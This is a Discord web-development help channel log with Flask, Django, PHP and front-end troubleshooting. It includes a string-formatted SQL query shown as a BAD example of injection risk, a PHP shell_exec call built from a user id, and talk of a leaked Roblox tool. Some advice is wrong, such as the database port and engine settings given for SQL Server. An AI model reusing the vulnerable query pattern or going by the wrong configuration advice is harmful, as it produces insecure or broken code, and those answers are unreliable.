#web-development

2 messages · Page 202 of 1

jaunty depot
#

add "GET"

stuck narwhal
#

Ahh okayy yes thank you!,when i changed it to get it showed the result

#

If i wanna post a pdf to this url

#

How do i go about it ? I tried this code

#

@jaunty depot @haughty isle ```py
from flask import Flask, request
import requests
app = Flask(name)

@app.route('/api/',methods=['GET'])
def makecalc():
data=request.get_json()
return "hello"

def hello():

return "welcome"

if name == 'main':
app.run(debug=True)

#

and in another file i did this

#
import requests
import json
url = 'http://127.0.0.1:5000/api/'
files = {'file': open('C:\\Users\\Urja\\Desktop\\RDU.pdf')}
r = requests.post(url,files=files)
print(r,r.text)
stuck narwhal
# stuck narwhal ```py import requests import json url = 'http://127.0.0.1:5000/api/' files = {'f...

but this gives alot of errors File "C:\Users\Urja\Desktop\env\lib\site-packages\requests\models.py", line 159, in _encode_files fdata = fp.read() File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.8_3.8.2800.0_x64__qbz5n2kfra8p0\lib\encodings\cp1252.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] UnicodeDecodeError: 'charmap' codec can't decode byte 0x8f in position 1514: character maps to <undefined>

strange charm
#

Can someone help me with django?

#

please?

fading plinth
#

Could anyone here perhaps try and explain to me what the 'essence' is of the problem solving aspect of front-end development? i.e., compress the nature of the problems front-end devs face into a few words, if they happen to overlap a lot and aren't too distinct from each other.

#

It would initially appear that they do not get to work too intimately with logic and math.

haughty isle
#

But pdf is a bytes format

stuck narwhal
#

But it is wrong

haughty isle
#

What did it do, and what did you expect it to do?

stuck narwhal
#
from flask import Flask, request
import requests
import domain1
new_js=domain1.js
new_js1=domain1.js1
app = Flask(__name__)

@app.route('/api/',methods=['POST'])
def makecalc():
    data=request.get_json()
    return new_js,new_js1



 # def hello():
#     return "welcome"

if __name__ == '__main__':
    app.run(debug=True) 
#

So i have a program domain.py which returns js,js1

#

And I'm trying to create an api for that program

#

I wanted it to return both the values

stuck narwhal
stuck narwhal
#

@haughty isle when i tried only value new_js it worked

manic crane
#

AttributeError at /admin/
'Occupier' object has no attribute 'has_module_perms'
but i already have has_module_perms
def has_module_perms(self,app_label):
return True

native tide
#

where do i go if i need help with html

haughty isle
haughty isle
remote pendant
#

Idiot question, I want to develop a web database system for my college project, what backend and database should I use? I never touch web dev before so I have no idea

dusty moon
#

I’m having trouble understanding what JavaScript bitwise is used for…. (I’m using w3schools)

haughty isle
#

And django is pretty great

serene prawn
sour epoch
#

hey folks, I'm having issues with ajax call results not working on iOS that I'm totally stuck on fixing

#

searching around it seems to be because of Apple caching the results so it's not fetching it in realtime

#

I know the .ajax() call has a parameter 'cache' will force requested pages to not be cached

#

but that only works for for head or get requests when I'm doing post

#

I am using flask if that matters

serene prawn
sour epoch
#

do you mean to use the fetch api over jquery?

serene prawn
#

plain js has fetch function that allows you to make http calls

sour epoch
#

got it, thanks for the pointers

supple bramble
#

I'm not sure about clients exactly in httpx or aiohttp, is it good to have one client instance all the time? Or creating new clients each time? Or refresh clients after x amount of time?
In my FastAPI application, I'm just initializing one client on application startup

@app.on_event("startup")
async def startup() -> None:
    app.request_client = httpx.AsyncClient()```
But I'm not sure if this is the best practice.
stark tartan
#

How to add multiple support for languages for internatiozation is there is any library in React

manic crane
# haughty isle Show the full code and Traceback?
    email = models.EmailField(verbose_name='email',max_length=59, unique=True)
    username = models.CharField(max_length=30,unique=True)
    occupations = models.CharField(max_length=200,null=False) #amount of occupations user does
    #cliques = models.ForeignKey(Clique,null=True,on_delete=models.CASCADE) #cliques user is in 
    date_joined = models.DateTimeField(verbose_name='date joined', auto_now_add=True)
    last_login = models.DateTimeField(verbose_name='last login', auto_now=True)
    is_admin = models.BooleanField(default=False)
    is_active = models.BooleanField(default=True)
    is_staff = models.BooleanField(default=False)
    is_superuser = models.BooleanField(default=False)
    dob = models.DateField(blank=True, null=True,unique=True)
    password = models.CharField(unique=True, max_length=200)

    objects = OccupierManager()

    USERNAME_FIELD = 'username'
    REQUIRED_FIELDS = ['email','occupations','password','dob']




def __str___(self):
    return self.username

def has_perm(self,perm, obj=None):
    return self.is_admin



def has_module_perms(self,app_label):
    return True```
haughty isle
manic crane
#

oh i have fixed it by adding permission mixins , but gained another error

manic crane
haughty isle
#

Which error though?

native tide
#

i dont understand jquery much but is there a way to reload this image without refreshing the page (cloudflares cache messes it up) example: /image/png.png?tick=mynumber i know how to do the tick stuff but that wont work unless u refresh

haughty isle
native tide
# haughty isle You could name the PNG after its hash?

i managed to fix it but it loop reloads until it loads ```php
<script>
function reload()
{
d = new Date();
$("#avatarthumb").attr("src", "/renders/users/<?php echo $_SESSION['id']?>.png?"+d.getTime());
}
</script>
<center>
<h1>Welcome, <?php echo $userRow->{'username'}?>!</h1>

<p>RENDER IMAGE THIS IS NOT FINAL HOME PAGE!!!!</p>
<img id="avatarthumb" onerror="reload()" src="/renders/users/<?php echo $_SESSION['id']?>.png" alt="Failed to render RE-RENDER in avatar editor">

</center>``` is it possible to make the reload() in the onerror fire 30 times and if it does and is still broken replace it with a different image

#

sorry if i explained it bad im not really sure how to explain it

haughty isle
#

PHP?

native tide
#

yes the site is a clone of https://roblox.com

Roblox

Roblox is ushering in the next generation of entertainment. Imagine, create, and play together with millions of people across an infinite variety of immersive, user-generated 3D worlds.

haughty isle
#

Just don't return the html until the image has rendered

native tide
#

im attempting to remake it

#

alright

haughty isle
#

How long does a render take?

native tide
#

4 seconds

#

it uses a internal tool roblox uses

#

the tool was leaked a while ago

viscid spade
haughty isle
swift wren
#

hey guys can somone help me in #help-ramen its a flask related issue

buoyant geode
#

can some one help me with this error "GET /static/core/css/core.css HTTP/1.1" 304 0

fading bough
#

when we put a video url from Youtube that is playable on our website, which one would it take bandwidth from? My own website or Youtube?

manic frost
#

It executes the code line by line
This is just wrong

#

Python doesn’t support client-side programming, it only supports server-side programming.
You can make GUI apps in Python, although it's rarely a good choice, especially for mobile.

swift wren
#

does anyone know how i can upload files to flask

#

like a simple jpeg. i have a html file input and i have field in sqlalchemy

limpid mason
golden bone
swift wren
#

how it can accept a file upload or a jpeg

#

ik about the request.files

#

but idk how to actually get the client to send the image ot the server so that the server can automate the path

#

to be served to the template

#

i dont really need ot know now cos i just made a default for everything but if you wanna respond its up to you, knowledge is knowledge

lilac stirrup
#

hello ,
I need help
I have a problem , I want to connect django1.8.19 to microsoft sql server 2019
how to fix it ?

fringe wharf
#

hey guys i need to build a text browser in python but im very confused

#

does anyone know what it means

#
import requests as req
import html2text

url = hidden for privacy


resp = req.get(url)

print(html2text.html2text(resp))```
#

this is what i have i just want it to formate the html so i can read it

fading bough
#

Does portfolio websites require backend languages or just frontend will do?

#

And if it ever does require backend, which one do you start with first? Backend or frontend?

opal verge
#

@lilac stirrup
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.YourEngineDatabase',
'NAME': 'yourDatabaseName',
'HOST': '127.0.0.1',
'PORT': '3306',
'USER': 'root',
'PASSWORD': ''
}
}

In your case, you can put "SQLServer" in "ENGINE"

If you're using other HOST different to localhost, just write your host :b

Usally the default "PORT" is 3306. Sometimes is 8080 or 8000

The "USER" is usally root
And about the password, you don't need put it, but is recommended

opal verge
#

Because you don't need to send any information to a database.

finite terrace
#

is you flask app sending the duration?

finite terrace
#

take it out of <progress/> tag? i don't have full code so i don't really know how it should be formatted

#

what is max= when you inspect element?

#

i was looking at the wrong code anyway sorry. what is the value when you print playback.duration? and what is supposed to be the value? how long it has been playing?

#

the html is valid. it possibly doesn't work because of jinja2 templating try without the p tag

<br>{{playback.progress}} <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}} />{{playback.duration}}
#

sure

#

ok

#

change your syntax to <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}}></progress>

#
 <p>{{playback.progress}} <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}}></progress> {{playback.duration}}</p>

that should work promise lol

finite terrace
#

some tags can't be closed with < /> shorthand. you needed to use full </progress>. jinja2 should actually be throwing an error for that, but that's a different matter

native tide
#

hi im trying to make a error handler in flask and i was wondering if its possible to get the url that was requested

#

i looked in docs and couldnt find anything but i wanted to ask someone else before giving up on the idea

native tide
#

Is there a way to pass html through Django block content as a template. So any html file will render?

native tide
native tide
#
<!DOCTYPE html>
<html>
<head>
  <title>The Dataset or something</title>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
</head>
<body>
  <div>
    <canvas id="myChart"></canvas>
  </div>
<script>
const chat = document.getElementById('myChart').getContext('2d');

const DATA_COUNT = 7;
const NUMBER_CFG = {count: DATA_COUNT, min: -100, max: 100};

const labels = ['season1', 'season2', 'season3']
const data = {
  labels: labels,
  datasets: [
    {
      label: 'Dataset 1',
      data: [5, 4, 9],
      borderColor: ['rgb(255, 99, 132)'],
      backgroundColor: ['rgb(255, 99, 132)']
    },
    {
      label: 'Dataset 2',
      data: [5, 4, 9],
      borderColor: ['rgba(153, 102, 255, 1)'],
      backgroundColor: ['rgba(255, 159, 64, 0.2)']
    }
  ]
};

const actions = [
  {
    name: 'Remove Data',
    handler(chart) {
      chart.data.labels.splice(-1, 1); // remove the label first

      chart.data.datasets.forEach(dataset => {
        dataset.data.pop();
      });

      chart.update();
    }
  }
];

const config = {
  type: 'line',
  data: data,
  options: {
    responsive: true,
    plugins: {
      legend: {
        position: 'top',
      },
      title: {
        display: true,
        text: 'Chart.js Line Chart'
      }
    }
  },
};

const myChart = new Chart(
    document.getElementById('myChart'),
    config
);
</script>
</body>
</html>```
#

I dont see "remove data" action

#

why?

#

this is it

dusk portal
#

i just wanted to create a quiz/multiple choice questions by django, so how can i do that first i want to show questions to the user then after the test i just wanna render thier result , same like Google Forms/MCQ software

native tide
#

My UserModel looks like this: ```py
class User(_ABU, _PM):
id = models.BigAutoField()
username = models.CharField()
first_name = models.CharField()
last_name = models.CharField()
email_id = models.EmailField()
user_type = models.CharField(
max_length=2,
choices=[
("s", _("Student")),
("t", _("Teacher")),
("p", _("Parent")),
("m", _("Management")),
("a", _("Administrator")),
])
date_of_birth = models.DateField()
contact_no = models.CharField()
address = models.TextField()
is_superuser = models.BooleanField(default=False)
is_staff = models.BooleanField(default=False)
is_active = models.BooleanField(default=True)
creation_time = models.DateTimeField()
ip_address = models.GenericIPAddressField()
authorization_token = models.CharField()

USERNAME_FIELD = "username"
EMAIL_FIELD = "email_id"
REQUIRED_FIELDS = [
    "first_name",
    "last_name",
    "email_id",
    "user_type",
    "date_of_birth",
    "contact_no",
    "address",
]
objects = UserManager()

And UserManager likepy
class UserManager(_BUM):
def create_superuser(
self,
username,
first_name,
last_name,
email_id,
user_type,
date_of_birth,
contact_no,
address,
password,
**extra_fields,
):
# Unrelated stuff here...

    user = self.model(
        username=username,
        first_name=first_name,
        last_name=last_name,
        email_id=email_id,
        user_type="a",
        date_of_birth=date_of_birth,
        contact_no=contact_no,
        address=address,
        creation_time=cur_time,
        authorization_token=auth_token,
        **extra_fields,
    )
    user.set_password(password)
    user.save()
    return user
#

I need the user_type field to not be asked while creating a superuser from terminal and instead pass a fixed value (a in this case).. How do I do so?

#

If I edit the REQUIRED_FIELDS option and remove user_type from it, will it only affect the terminal? Or will it also affect the ModelForms on the site?

scenic galleon
#

heya i am making a chrome extension which changes a css property of a website so the property name is --background-primary i tried using JavaScript like :

    let root = document.documentElement; 
    root.style.setProperty('--background-primary', '#202225')

it works but when i click the site it goes back to normal, how can i work this around?

velvet vale
#

who can help me?

#

I have seen many methods but it does not work

spiral blaze
#

Does anyone know flask here?

tepid lark
native tide
#
       instance.client = Client.objects.get(id=int(validated_data['client']['id'])),

throws error as it should be a client object but its a tuple containing the client object somehow
ValueError: Cannot assign "(<Client: Client 1205>,)": "Financement.client" must be a "Client" instance.

#

how to fix?

native tide
#

i deployed my django app on heroku, now, if i want to make more changes on it and to run it on local host again, what should i do?

frozen python
#

Is to ideal to create a user “desktop” UI to control their website?

native tide
frozen python
haughty isle
#

What do you mean by ideal and control? And who are "they" and which website?

calm plume
#

Woah woah woah django 4.0 rc1 is out, very nice

dense slate
#

Is it possible to .set() or .add() with a value versus an id?

tepid lark
tepid lark
dense slate
#

Adding M2M relations to an object.

#

I have a list on the front-end with objects including ids, and I realized that if one of the ids in the backend changes, it will no longer be accurate.

#

So I wanted to go by value instead.

tepid lark
#

Ok, your IDs should never change once they're assigned. You can look up an object by some value and add that, yeah.

dense slate
#

So what if a value on the backend is deleted and recreated.

#

Even if I'm keeping the value the same, it has a new id.

#

I could do a lookup yea, but it seems that might add some significant delay if I have lists of ids that have to get looked up.

#

This basically adds tags to an object, but if I have to lookup the id of every tag getting set to the object, it just feels like that's a lot of extra work the function has to do.

#

The tags a required to be unique, so I don't have to worry about dupes, but I just don't know if it's possible to do it this way at all.

#

Are my options basically keep an accurate list on the FE or lookup everything on the BE?

tepid lark
#

You could diff the state of your new and old object

dense slate
#

What do you mean?

tepid lark
#

check if the existing tags match whatever the state of the object in the db is

#

plus any changes/updates

#

well, that's only half of the problem

#

i'm guessing your data model is entry -> entry-tag -> tag

#

I guess the solution is don't let people change tags once they're created. They can "edit" tags by creating a new entry-tag relation instead.

dense slate
#

Not worried about it from the user, but that feels like fragile code in case I ever change anything on the BE and forget that it matters.

#

If I lookup, then of course it'll always be accurate, but it feels like a lot of overhead cost for that safety.

#

Maybe that's just how it goes. 🙂

tepid lark
#

Yeah that's the downside of that data model

#

It makes it easier to search by tag though, since you're doing 1 text scan instead of n

#

Decide if you want to optimize for writing or reading.

dense slate
#

def reading

#

i think an extra couple seconds on a form submission is not a big deal

tepid lark
#

slap an index on there and it would be reasonably fast

dense slate
#

Yep Thanks, iIll take a look.

warped aurora
#

hi, I've got two textarea boxes and I want to copy the input from one to the other as it's being typed not sure how

tepid lark
warped aurora
#

@tepid lark is there a way to do this purely in python? I'm not familiar with JS

royal hazel
#

i need help with django

#

badly formed hexadecimal uuid string error can some one resolve it?

olive patrol
#

Is it possible to host a Django website with a shared hosting plan?

royal hazel
#

this is taking so much time could someone tell me where my missing correct lines. cant find any thing very well explained on django docs and neither on the youtube . or google kindly help . i cant march further bcoz of this uuid error. thx

tepid lark
#

check your data @royal hazel

native tide
#

do you know any tools to make it like that?

weary vortex
#

can I ask general web development questions here relating to html/css/js or does it have to be related to python?

golden bone
dusk portal
#

Hey so i've been working on django from more then 5 months now i'm freelancing too
so my issue is
sometimes i face issues at understanding code of another developer ;-; his/her way is different , beside the fact i can get same result

  • i'm sometimes unable/take much time to think logic hmm like u can say a mcq/quiz based app
  • idk js so it's a barrier for me + i face issues at doing some different kind of stuff like applying agora's api (any api ) n some messy stuff.
    so how can i kill this issue
native tide
winged orbit
native tide
#

If you run js in a button, but want the button to continue it's function if true. How would you do that

#

I have the checks working but now it's not going to the next page

inland oak
#

For example.... creators of this website were making positioning of elements with TABLE. disgusting.

#

positioning should be done with Flexboxes ,Grids, Position Absolute from Position Relative, Margins/Paddings... and as a last resort with Float

steady cargo
#

Why is float a last resort?

inland oak
#

Because Flexboxes allow 10 times nicer adapative scaling

#

Flexbox will make your website behave much nicer when scaling from mobile to PC version of any screen, they give quite big amount of... flexibility, while floats limit you only to the simpliest scaling. And flexboxes give much better control in how to position elements within one line (while Floats are basically stuck with only one type of positioning)

#

And in addition because Floats have the problem... with requiring hacks against overflow to bottom elements

steady cargo
#

Well said, thanks!

dusk portal
#

hey sorry to disturb , i need strong help can anyone help?

dawn island
#

I am trying to use social authentication in my project, so I came to know about django-allauth. I searched for some documentation and I find it difficult to understand. Can someone suggest some resources.

native tide
#

and also i am not making a mobile site so it doesnt matter

inland oak
native tide
#

then how?

#

google sites wouldn't allow that

inland oak
#

and learn in the process.

#

after killing all zombies, you'll have a good hang of flexboxes

#

it will be like a reflex to shoot out of crossbow ;b

#

plus preferably I highly recommend to read this book:
it covers all HTML+CSS basics

inland oak
#

3% of problems require knowing grids

#

2% of problems require knowing Position Absolute from Position Relative, background-position or Fixed position

#

that's it. the rest is handled with padding and margin properties

native tide
#

i get all this, i will see these resources but the thing is that are there are any tools which allows you to use raw html code to build sites? or you need to use the old way by downloading an html template?

inland oak
#

just installed plugins to have html highlighting and linting

native tide
#

i mean, google sites aint gonna do this, right?

#

vscode and other code editors are the only option right?

inland oak
#

install visual code

native tide
#

like pycharm

inland oak
#

pycharm is more for python

#

vscode is universal

native tide
#

ok

inland oak
#

as a poor man start, even notepad++ could be used

#

but vscode with plugins is much better

native tide
#

i see

inland oak
#

just try something the most popular having installed

#

all you need to have usually
highlighting + linting fomatting on file save.

wise kite
#

If i am connecting MySQL from a remote server in django do i need to install pip MySQLclient ?

native tide
#

hi I need help

#

I need to pass a token to an api but I dont know how to request the token from the session

#

it's a org.apache.struts.taglib.html.TOKEN

native tide
#

i am using chart.js and i want to stop from adding datasets that are already in the chart ```js
const actions = [
{
name: 'User',
handler(chart) {
const data = chart.data;
const dsColor = ['rgb(235, 106, 0)'];
const newDataset = {
label: 'User',
backgroundColor: ['rgb(235, 106, 0)'],
borderColor: dsColor,
data: [5,4,6]
};
chart.data.datasets.push(newDataset);
chart.update();
}
},
},

native tide
#

I have a model with DateField field and a manager for that model like ```py

manager

class UserManager(BaseUserManager):
def create_user(self, date, ...):
...
return self.model(date=date, ...)

model

class UserModel(AbstractBaseModel, PermissionsMixin):
...
date = models.DateField(...)

objects = UserManager()

If I input a string or datetime object as date field, like ```py
user = UserModel.objects.create(date='2000-01-01') # or datetime.datetime.now()
``` it raises exception `TypeError: expected string or bytes-like object`... How should I input the date to create an object then?
stark cliff
#

guys i am a beginner

#

so i wants some suggestion

#

that learning only python is worth it? for web dev

#

means does it requires html css javascript

quasi trellis
#

I'm trying to make a website that shows data from a webhook onto the page, Does anyone know if it's possible? And if it is, How?

#

Could I use the sockets import to display the webhooks data?

crude badge
#

I am using Celery with Flower. Many times, the task status shown in the Flower dashboard is stale. The task could be SUCCESS and the dashboard shows it as STARTED

#

Why does that happen?

swift elm
#

any open source project to participate ?

crude badge
#

@stark cliff you would need to know html css and js, at minimum, to be a web developer. Python is used on the backend.

late fjord
#

FastAPI is awesome

#

I want to study in Canada, does anyone know what scholarship I could apply to.

#

I'm a good student more than 80%

#

great level in english with a good accent

#

northern african

#

exactly Algeria

native tide
#

$uid = $userRow->{"id"};

if (loggedIn() == true) {
//    $time_start = microtime(true); 
    $cmd = escapeshellcmd('start python main.py PNG 1024 1024 '.$uid); // this is fomatted like: FileType X Y UserID - dont mess with this we dont want to mess with the renders
    $output = shell_exec($cmd);
    print_r($output);
    
    $success = "True";
    $renderurl = "/renders/users/".$userRow->{"id"}.".png";    
    $msg = "Null";//. //(microtime(true) - $time_start);

    $empResponse = array('Success' => $success, 'Render URL' => $renderurl, 'Message:' => $msg);
    header('Content-Type: application/json');
    echo json_encode($empResponse);
} else {
    $msg = "API OK";

    $empResponse = array('msg' => $msg);
    header('Content-Type: application/json');
    echo json_encode($empResponse);
  }``` does anyone know why this doesnt display any output from the exec im trying to get the output to check for errors so if it does error itll make the image a error image instead
leaden path
#

Hi everyone.

#

What is the best way to practice database only? How to do database related work very well with Python.

#

?

frank shoal
#

you could make a script remember where it left off using sqlite

native tide
#

Anyone have an example of how to decompress a gzipped HTTP response? I've googled several examples, however none seem to work for me. When I look at the response, it's not decoded.

frank shoal
#

requests should handle that, shouldn't it?

#

!d gzip.decompress There's this otherwise.

lavish prismBOT
#

gzip.decompress(data)```
Decompress the *data*, returning a [`bytes`](https://docs.python.org/3/library/stdtypes.html#bytes "bytes") object containing the uncompressed data.

New in version 3.2.
native tide
#

How do I accept different date formats in models.DateField field?
Like if I input any value, it says only YYYY-MM-DD is allowed (django.core.exceptions.ValidationError: ['“22-04-2004” value has an invalid date format. It must be in YYYY-MM-DD format.']) but I need to change it to allow multiple formats.... How do I do that? Maybe editing the Validator somehow... but idk how..

cloud mist
#

I have a question you can maybe help me with in #help-popcorn

(Its about not being able to find an element with xpath)

tepid lark
#

I don't know how your input is getting to your model, but I would recommend enforcing one date format.

#

Especially if you want to avoid MM-DD and MM-DD ambiguity.

#

I would recommend dateutil if you don't mind pulling in another dependency.

devout aurora
#

hello, how do i make a path only accessible to certain user flask

tough imp
#

hello, how would I parse this?
<a class="item_link" href="need_to_parse_this_link" target="_blank"><span class="item_name">item name</span></a>

#

i am doing document.GetElementsByClassName('item_link') but it is undefined

tepid lark
devout aurora
manic crane
#

can someone help please => django.db.utils.IntegrityError: insert or update on table "Occupy_post" violates foreign key constraint "Occupy_post_user_id_7dca33ac_fk_auth_user_id"
DETAIL: Key (user_id)=(3) is not present in table "auth_user".

tepid lark
#

Try Array.from(document.getElementsByClassName("item_link")).map(a => a.href) If you want to get a list of hrefs?

#

GetElementsByClassName should be getElementsByClassName, JS is consistently camelCase.

tepid lark
devout aurora
#

like its uniuqe to each user

tepid lark
#

Whatever works for you.

devout aurora
rotund perch
#

In django rest framework when doing a GET request and the response should include more than one object many=True how to add to every object a reponse with its user name for example? (Since relation key depends on user id not name)

Or doing it in another way, how to get the user name from the user id ? Like how do you get a step back from user.id to user so you can go to user.name

frosty horizon
frosty horizon
frosty horizon
#

The serializer:

#
class CommentSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Comment
        fields = ('id', 'resource', 'get_username', 'text', 'get_datetime')
#

And the GET list:

edgy spade
#

I'm trying to learn flask/jinja2 templates and am running into a problem with nesting. I'm trying to get the base HTML file to reference a child template that has the style but it seems to omit it entirely when the page is rendered. What am I doing wrong?

base.html (parent) sample:

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  {% block head %}{% endblock %}
  <title>Test Page</title>
</head>

style.html (child) sample:

{% extends "base.html" %}

{% block head %}
<link rel="stylesheet" type="text/css" href="{{ url_for('static',filename='style.css') }}">
{% endblock %}
#

Sample of the rendered HTML file:

<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  
  <title>Test Page</title>
</head>
#

There's a {% block content %}{% endblock %} section further down in the parent HTML that renders without issue. I'm not sure what I'm doing wrong here.

native tide
edgy spade
native tide
#

its probably to encrypt cookies. but that would be useful if they explained why in docs. haha

hasty sparrow
#

how do I protect my code from sql injections?

native tide
native tide
native tide
#

it's a broad question, but valid

#

its a bit broad. what code ? why where when?

#

I agree

#

i was probably rude. sorry

#

but it doesn't deserve a wrong answer

#

all good

#

@hasty sparrow it's a broad question. the main thing you can focus on is: don't let anything from your clients communicate with your database without you sanitazing it first

native tide
native tide
#

use api is not an answer

native tide
edgy spade
native tide
native tide
#

I prefer sql to nosql. I don't have a lot of experience with nosql/document dbs

#

but you're right sanitze is the straight 'answer'

#

now that you're here. do you agree with:
no direct queries to the db is what we want? - yes :)

#

like mongoql?

#

not seen it for postgres etc

#

can you?

#

is that what 'views' are. is that new?

#

not too familiar if im honest. as I just have a crud enpoint toa table and do REST

#

sorry, I don't understand your line in the middle. I'd argue that you don't want direct queries from 'world' to any dbs

native tide
#

an API can be vulnerable to an SQL injection

manic frost
# hasty sparrow how do I protect my code from sql injections?

Just don't format queries yourself. Use your library's substitution mechanism for this:

# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(my_DIY_escape(user_supplied_id)))

# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))
native tide
#

yep

#

but, I'd argue the above example isn't informative

#

it's syntax specific

#

what would be better?

#

I agree with @manic frost

#

but what's a non syntax specific answer?

#

I just think the example isn't informative

#

I don't have it atm :)

manic frost
#

Well... I can't show an example for every substitution syntax in existence.

native tide
#

I know

#
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))
#

just want to say

#

these look the same to me :)

#

and I bet I'm not the only one

manic frost
#

they do look similar

#

and that's why we have linters 😉 ```
$ bandit sql.py

[main] INFO profile include tests: None
[main] INFO profile exclude tests: None
[main] INFO cli include tests: None
[main] INFO cli exclude tests: None
[main] INFO running on Python 3.7.12
[node_visitor] INFO Unable to find qualified name for module: sql.py
Run started:2021-11-23 23:05:07.315541

Test results:

Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Medium
Location: sql.py:1:15
More Info: https://bandit.readthedocs.io/en/latest/plugins/b608_hardcoded_sql_expressions.html
1 cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))

native tide
#

nice.

#

fix error, thnx for the additional context. I agree with your theory, but not with your example. I don't want argue specifics in this case unless it's to learn/teach something

#
# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))

so if you point out why these are different @hasty sparrow will have the perfect answer? can you do that?

#

no. I can't give the perfect answer :)

#

but I guarantee that is a language or even a framework specific syntax

#

please don't misunderstand me. I'm not here to belittle or disparage anyone

#

I don't have all the answers

#

I've contradicted you, yes

#

doesn't mean I think lesser of you :)

#

i get what you're saying. so the second parameter is cleaned by the api somehow not by the user.

#

if you're talking about the example, I don't know :)

#

in the first instance they join a string. its bad. in second they relying on api library whatever to make sure it's not dodgy

#

dont they have to escape it and pass it as 2nd param?

#

sorry, I'm not following. can you paste the context?

#

and also

#

if you're talking about escaping

#

that's that :)

#

that's what I wanted to point out

#

it doesn't matter, if you're using api. if you're not sanitazing/escaping data before you send it to db, you're in for a world of pain

#

again:
no direct queries to the db is what we want? - yes :)

#

why do you think that would be bad?

#

is this a trick question?

#

no :)

#

but I think that is the main point of what we are debating

#

well. it was said sarcastically and you're quite literal. so not sure what side you are for.

#

ah, sorry

#

didn't register the sarcasm

#

you fooled me :)

#

tongue in cheek

#

sorry :)

#

be good to know how execute is joining the paramter 'safely'

#

i guess it doesn't as uses the engine

#

hey. let's start over. I'm not sure what was the original point anymore

#

@native tide feel free to ask anything and if you don't have any questions, know that I have enjoyed our interaction very much

#

I'm going for a smoke :)

#

nice. same. i tried bandit just now also. such a great lib

#

it's the first time I hear about it :)

#

it blacklists all the fun stuff

#

link to the library?

#

🙈

#

👍

#

I'm not programming at my day job

#

would test it out for sure, if I was using python

#

:/

#

three back ticks ```

#
Uhh test?
<!doctype html>
<html>
  <body>
       <h1>hello world</h1>
       <p>hello to the world. Please try visiting this helloworld</p>
        <button><em>testtesttest</em></button>
  </body>
</html> 
#

@native tide we see your code

#

but you haven't said what's the problem?

native tide
#

@native tide please don't share screenshots

#

@native tide nobody can run them or do anything with the code

#

just a sec

#

hey

#

not sure which site to recommend to share code

#

but yours isn't extensive

#

and you're not descriptive

full adder
#

hey hows everyone i developed a web scraper and wanted to implement to avoid duplicating information into a database but i am stuck on how to do that

dusky sleet
#

Are you working with a relational database? If you are you should look in to unique constraints.

full adder
#

no, i am working with firestore

tepid lark
full adder
#

the information being scraped, so when i run it, it wont scrape the same stuff and instead move on to scraping anything that hasnt been scraped yet

dusky sleet
#

Is it possible for you to check whether the data exists in the database before you save it? What does the data look like?

full adder
pallid lily
#

May i ask why do some people use class based views instead of function based view?

spice bane
dusty moon
#

Can someone explain what JavaScript bitwise are used for? I can’t get them……..

foggy herald
#

Hi, can anyone help me with Selenium? I want to login to Google Calendar using Selenium. Can anyone help me with that?

digital hinge
#

Anyone made a dosbox flask website? So you can play dos games via web?

jovial cloud
dusty moon
#

So shouldn't bread my skull over this, I get it.

agile gorge
#

Quick question: So I have some experience in Python, some experience in Javascript, but not much experience merging the two. Also, my experience with web backends is fairly limited. I'm working on a website where, for one part of it, a user will be redirected to a page where a video will be displayed. The video is generated based on the query string of the url. This generation may be possible in JS, but is very easy to do in Python and I've already written a simple script to take in the necessary params and output an mp4. What I'm not sure about is how best to create a backend that can call the script and then serve the resulting mp4 to the user. I'm aware that NodeJS has a way to call python scripts, but I don't know if that's best practice or not. I also know that Django is a popular choice for web backends, but I know very little about it so I don't know if it would be appropriate here. In case it matters, the rest of the website is mostly API calls and flashy frontend, so it's not like I need much more functionality. Please let me know if you have any advice on what framework makes the most sense.

frosty horizon
golden bone
agile gorge
golden bone
#

When I was in uni I used their servers

agile gorge
foggy herald
#

Just username and password.

crisp dragon
#

can anyone help me with my django code

frank shoal
crisp dragon
#

okay

#

so i am using ckeditor in my blog which i have deployed on heroku. so now when i try to upload an image from my local machine it shows red cross on the image as in the image doesnt exist

#

but when i try to put a url of some other image from then internet it works just fine

spiral blaze
#

does anyone know flask here?

#

need some help with flask

#

im following corey schafer's tutorial on flask, and i've encountered an error,

    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(20), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    image_file = db.Column(db.String(20), nullable=False, default='default.jpg')
    password = db.Column(db.String(60), nullable=False)
    posts = db.relationship('Post', backref='author', lazy=True)

    def __repr__(self):
        return f"User('{self.username}', '{self.email}', '{self.image_file}')"
    ```
#

when i try to add something to my database, that is user_1 = User(username = 'admin', email = 'admin@blog.com', password = 'password'), after db,session.add(user_1) and db.session.commit(), it's saying

  File "<stdin>", line 1, in <module>
  File "<string>", line 2, in commit
  File "C:\Users\user\AppData\Roaming\Python\Python310\site-packages\sqlalchemy\orm\session.py", line 1428, in commit
    self._transaction.commit(_to_root=self.future)
  File "C:\Users\user\AppData\Roaming\Python\Python310\site-packages\sqlalchemy\orm\session.py", line 827, in commit
    self._assert_active(prepared_ok=True)
  File "C:\Users\user\AppData\Roaming\Python\Python310\site-packages\sqlalchemy\orm\session.py", line 601, in _assert_active
    raise sa_exc.PendingRollbackError(
